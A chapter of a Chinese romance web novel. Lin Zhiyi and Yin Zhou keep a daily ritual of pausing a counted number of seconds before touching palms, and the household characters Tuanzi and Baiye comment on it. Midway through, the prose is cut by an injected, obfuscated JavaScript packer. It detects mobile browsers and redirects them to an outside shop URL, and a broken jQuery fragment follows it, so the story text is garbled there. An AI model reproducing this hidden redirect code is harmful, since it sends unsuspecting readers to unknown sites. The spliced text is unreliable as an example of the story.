林知意推开卧室门的时候，客厅的光线正从窗口斜切进来。
殷昼站在那里。右手垂着，袖口垂着，掌心朝外微微向上翻着。完整的面孔正对着她，视线落在她走出来的方向。她走过去，距离比昨天又近了一点。他站在原地没有动，但垂着的那只手在她走近的过程中从“垂着”变到了“摊开”的姿态——主动翻上来的，不是被动等着的。她看了他的掌心一眼，然后低头伸手翻他的袖口。
布料边缘从垂着的状态翻上来，翘成一个明确的弧度。她把手指收回来，停在他掌心上方大约一毫米的位置。一。二。两秒。她在心里默数的。停顿结束之后，她把右手放了下去，掌心贴住了他的掌心。触碰到的一瞬间，她没有急着收手，他也没有急着收拢。两个人隔着掌心的温度完整地贴着。
“你默数了。”他说。
“对。两秒。”
“你数的时候在想什么？”
“在想你掌心有没有提前收拢。”
“没有。我等着你的温度落下来。”
她把视线从交握的手上移开，抬头看他。完整的面孔正对着她，暖色的瞳孔里映着窗口的光。她看了他大约两秒，然后低头把手松开。“明天三秒。”
“三秒？”
“我停三秒再放下来。”
他站在门框里看着她松开手走回客厅，视线落在她走远的背影上。过了几秒，他低头看自己的掌心。那一小片区域还残留着她的温度，和空气的温度差了半度。他的手指慢慢收拢，把残留的触感包在掌心里。
团子来送早饭的时候，殷昼还站在门框里。右手垂着，掌心朝上的姿态保持着。团子蹲在茶几旁边看了一会儿。“殷昼哥哥，你今天的手还是摊开的。”“她说今天停了两秒才放进来。”“那明天呢？”“明天停三秒。”团子仰头看着他。“那你等她放下来的三秒钟里，在想什么？”他低头看着团子：“在想她的手落下来的速度。”
团子蹲在原地消化了一下这句话。“她的手落下来的速度……每天都不一样吗？”“今天比昨天慢了半秒。”团子站起来叼着空饭盒走到门口，尾巴尖轻轻扫了一下门框边沿。“你记得她每天放下来的速度？”“对。”
团子走出去了。门关上的瞬间，尾巴尖碰了一下门板外侧。
白夜路过走廊的时候，看见殷昼站在客厅门框里。她停了一步，偏头看了他一眼：“你最近每天都在这个位置站着。”他站在门框里偏头看了她一眼：“因为她在客厅。”“你可以坐在窗台上看她。”“窗台上只能看到侧脸。门框里能看到正面。”白夜看了他几秒，然后收回了视线。“你以前站阳台的时候，她只能看到你的侧影。你现在站门框里，她看到你的完整正面。”她没有加评价。但她说这句话的时候，那卷针线换了一只手拿。
傍晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696213|207374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路灯亮起来的时候，林知意从卧室出来，看见殷昼还站在门框里。她走过去停在他面前。“你今天一整天都站在这？”“中间坐过。你午睡的时候我坐在窗台边。你醒了之后我又站回来了。”她站在他对面，比早上近了一步。“你今天站的时间比昨天长。”“因为明天她要停三秒才放下来。我需要提前站在这里等。”她低头看了一眼他的手——掌心朝上，在暮色里持续地摊开着。
她看了一会儿，然后把自己的右手放了进去，没等明天。掌心贴上去的时候，他低了一下头。完整的面孔微微向下倾斜，像是在看她放进去的那只手的动作。“你今天提前放了。”他说。“今天不是测试。是想放就放了。”他收拢手指握住她的手。“明天还会停三秒吗？”“会。但今天先放一次。”
两个人站在客厅门框里，暮色从窗外涌进来铺在两个人的肩线上。他的手握着她的手，没有松。过了几秒，她说：“明天我停三秒的时候，你看着我的手。不要看我的脸。”他低头看着交握的位置：“好。”
窗外的路灯亮了起来，暖黄色的光从窗口涌进来，落在地板上。两片影子在地板上交叠着，从鞋尖的位置延伸到窗台边。完整的身形轮廓被光勾出一道清晰的暖边。他站在门框里，她站在他面前，两个人的手还在握着，没有松开。
暮色里没有人说话。但风吹过阳台的时候，浅黄色外套的袖口轻轻动了一下。